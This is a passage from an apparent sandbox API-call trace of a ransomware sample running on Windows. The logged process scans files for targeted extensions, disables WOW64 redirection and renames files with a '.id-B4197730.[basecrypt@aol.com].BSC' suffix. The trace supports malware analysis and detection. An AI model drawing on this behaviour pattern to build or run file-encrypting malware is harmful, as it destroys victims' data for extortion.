-1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.885] lstrlenW (lpString=".dbf") returned 4 [0110.885] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.885] lstrlenW (lpString=".1cd") returned 4 [0110.885] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0110.885] lstrlenW (lpString=".jpg") returned 4 [0110.885] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.885] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.885] lstrlenW (lpString="base_rtl.xml") returned 12 [0110.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.885] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=617) returned 1 [0110.885] CloseHandle (hObject=0x2f4) returned 1 [0110.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0110.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.886] lstrlenW (lpString=".doc") returned 4 [0110.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.886] lstrlenW (lpString=".docx") returned 5 [0110.886] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0110.886] lstrlenW (lpString=".pdf") returned 4 [0110.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.886] lstrlenW (lpString=".xls") returned 4 [0110.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.886] lstrlenW (lpString=".xlsx") returned 5 [0110.886] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0110.886] lstrlenW (lpString=".ppt") returned 4 [0110.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.886] lstrlenW (lpString=".zip") returned 4 [0110.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.886] lstrlenW (lpString=".rar") returned 4 [0110.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.886] lstrlenW (lpString=".bz2") returned 4 [0110.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.886] lstrlenW (lpString=".7z") returned 3 [0110.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.886] lstrlenW (lpString=".dbf") returned 4 [0110.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.887] lstrlenW (lpString=".1cd") returned 4 [0110.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.887] lstrlenW (lpString=".jpg") returned 4 [0110.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.887] lstrlenW (lpString=".doc") returned 4 [0110.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.887] lstrlenW (lpString=".docx") returned 5 [0110.887] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0110.887] lstrlenW (lpString=".pdf") returned 4 [0110.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.887] lstrlenW (lpString=".xls") returned 4 [0110.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.887] lstrlenW (lpString=".xlsx") returned 5 [0110.887] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0110.887] lstrlenW (lpString=".ppt") returned 4 [0110.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.887] lstrlenW (lpString=".zip") returned 4 [0110.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.887] lstrlenW (lpString=".rar") returned 4 [0110.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.887] lstrlenW (lpString=".bz2") returned 4 [0110.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.887] lstrlenW (lpString=".7z") returned 3 [0110.888] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.888] lstrlenW (lpString=".dbf") returned 4 [0110.888] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.888] lstrlenW (lpString=".1cd") returned 4 [0110.888] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 82 [0110.888] lstrlenW (lpString=".jpg") returned 4 [0110.888] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.888] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.888] lstrlenW (lpString="ja-jp.xml") returned 9 [0110.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.888] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=16616) returned 1 [0110.888] CloseHandle (hObject=0x2f4) returned 1 [0110.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0110.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.889] lstrlenW (lpString=".doc") returned 4 [0110.889] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.889] lstrlenW (lpString=".docx") returned 5 [0110.889] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0110.889] lstrlenW (lpString=".pdf") returned 4 [0110.889] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.889] lstrlenW (lpString=".xls") returned 4 [0110.889] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.889] lstrlenW (lpString=".xlsx") returned 5 [0110.889] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0110.889] lstrlenW (lpString=".ppt") returned 4 [0110.889] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.889] lstrlenW (lpString=".zip") returned 4 [0110.889] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.889] lstrlenW (lpString=".rar") returned 4 [0110.889] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.889] lstrlenW (lpString=".bz2") returned 4 [0110.890] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.890] lstrlenW (lpString=".7z") returned 3 [0110.890] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.890] lstrlenW (lpString=".dbf") returned 4 [0110.890] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.890] lstrlenW (lpString=".1cd") returned 4 [0110.890] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.890] lstrlenW (lpString=".jpg") returned 4 [0110.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.890] lstrlenW (lpString=".doc") returned 4 [0110.890] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.890] lstrlenW (lpString=".docx") returned 5 [0110.890] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0110.890] lstrlenW (lpString=".pdf") returned 4 [0110.890] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.890] lstrlenW (lpString=".xls") returned 4 [0110.890] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.890] lstrlenW (lpString=".xlsx") returned 5 [0110.890] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0110.890] lstrlenW (lpString=".ppt") returned 4 [0110.891] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.891] lstrlenW (lpString=".zip") returned 4 [0110.891] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.891] lstrlenW (lpString=".rar") returned 4 [0110.891] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.891] lstrlenW (lpString=".bz2") returned 4 [0110.891] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.891] lstrlenW (lpString=".7z") returned 3 [0110.891] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.891] lstrlenW (lpString=".dbf") returned 4 [0110.891] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.891] lstrlenW (lpString=".1cd") returned 4 [0110.891] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0110.891] lstrlenW (lpString=".jpg") returned 4 [0110.891] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.891] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.891] lstrlenW (lpString="ko-kr.xml") returned 9 [0110.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0110.892] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=15097) returned 1 [0110.892] CloseHandle (hObject=0x2f4) returned 1 [0110.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0110.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0110.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.892] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.892] lstrlenW (lpString=".doc") returned 4 [0110.892] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.892] lstrlenW (lpString=".docx") returned 5 [0110.892] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0110.892] lstrlenW (lpString=".pdf") returned 4 [0110.892] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.892] lstrlenW (lpString=".xls") returned 4 [0110.892] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.892] lstrlenW (lpString=".xlsx") returned 5 [0110.892] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0110.892] lstrlenW (lpString=".ppt") returned 4 [0110.892] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.893] lstrlenW (lpString=".zip") returned 4 [0110.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.893] lstrlenW (lpString=".rar") returned 4 [0110.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString=".bz2") returned 4 [0110.893] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString=".7z") returned 3 [0110.893] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.893] lstrlenW (lpString=".dbf") returned 4 [0110.893] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.893] lstrlenW (lpString=".1cd") returned 4 [0110.893] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.893] lstrlenW (lpString=".jpg") returned 4 [0110.893] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.893] lstrlenW (lpString=".doc") returned 4 [0110.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString=".docx") returned 5 [0110.893] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0110.893] lstrlenW (lpString=".pdf") returned 4 [0110.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString=".xls") returned 4 [0110.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.893] lstrlenW (lpString=".xlsx") returned 5 [0110.893] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0110.893] lstrlenW (lpString=".ppt") returned 4 [0110.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.894] lstrlenW (lpString=".zip") returned 4 [0110.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.894] lstrlenW (lpString=".rar") returned 4 [0110.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.894] lstrlenW (lpString=".bz2") returned 4 [0110.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.894] lstrlenW (lpString=".7z") returned 3 [0110.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.894] lstrlenW (lpString=".dbf") returned 4 [0110.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.894] lstrlenW (lpString=".1cd") returned 4 [0110.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0110.894] lstrlenW (lpString=".jpg") returned 4 [0110.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.894] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0110.894] lstrlenW (lpString="zh-changjei.xml") returned 15 [0110.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.626] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x353ff14 | out: lpFileSize=0x353ff14*=9803) returned 1 [0111.626] CloseHandle (hObject=0x2f4) returned 1 [0111.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0111.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0111.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0111.626] lstrlenW (lpString=".doc") returned 4 [0111.627] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.627] lstrlenW (lpString=".docx") returned 5 [0111.627] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0111.627] lstrlenW (lpString=".pdf") returned 4 [0111.627] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.627] lstrlenW (lpString=".xls") returned 4 [0111.627] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.627] lstrlenW (lpString=".xlsx") returned 5 [0111.627] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0111.627] lstrlenW (lpString=".ppt") returned 4 [0111.627] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0111.627] lstrlenW (lpString=".zip") returned 4 [0111.627] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.627] lstrlenW (lpString=".rar") returned 4 [0111.627] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.627] lstrlenW (lpString=".bz2") returned 4 [0111.627] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.629] lstrlenW (lpString=".7z") returned 3 [0111.629] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0111.634] lstrlenW (lpString=".dbf") returned 4 [0111.634] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[basecrypt@aol.com].bsc")) returned 0 Thread: id = 18 os_tid = 0xcd8 [0099.850] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3cb1b28 [0099.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3cc1b30 [0099.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab98 [0099.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x64d0b0 [0099.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac88 [0099.851] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x406d020 [0099.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61aca0 [0099.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61aca0, Size=0x20) returned 0x5fec78 [0099.853] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61aca0 [0099.853] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61aca0, Size=0x20) returned 0x5feb88 [0099.853] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.854] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0099.854] Wow64DisableWow64FsRedirection (in: OldValue=0x367ff50 | out: OldValue=0x367ff50*=0x0) returned 1 [0099.854] lstrlenW (lpString="kernel32.dll") returned 12 [0099.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0099.854] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0099.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb88 | out: hHeap=0x5c0000) returned 1 [0099.854] Sleep (dwMilliseconds=0x64) [0099.998] Sleep (dwMilliseconds=0x64) [0100.240] Sleep (dwMilliseconds=0x64) [0100.460] Sleep (dwMilliseconds=0x64) [0100.801] lstrcmpiW (lpString1=".ini", lpString2=".BSC") returned 1 [0100.801] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0100.801] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.484] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=156) returned 1 [0101.484] CloseHandle (hObject=0x318) returned 1 [0101.484] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0101.484] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.485] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.485] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.485] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.485] CreateFileW 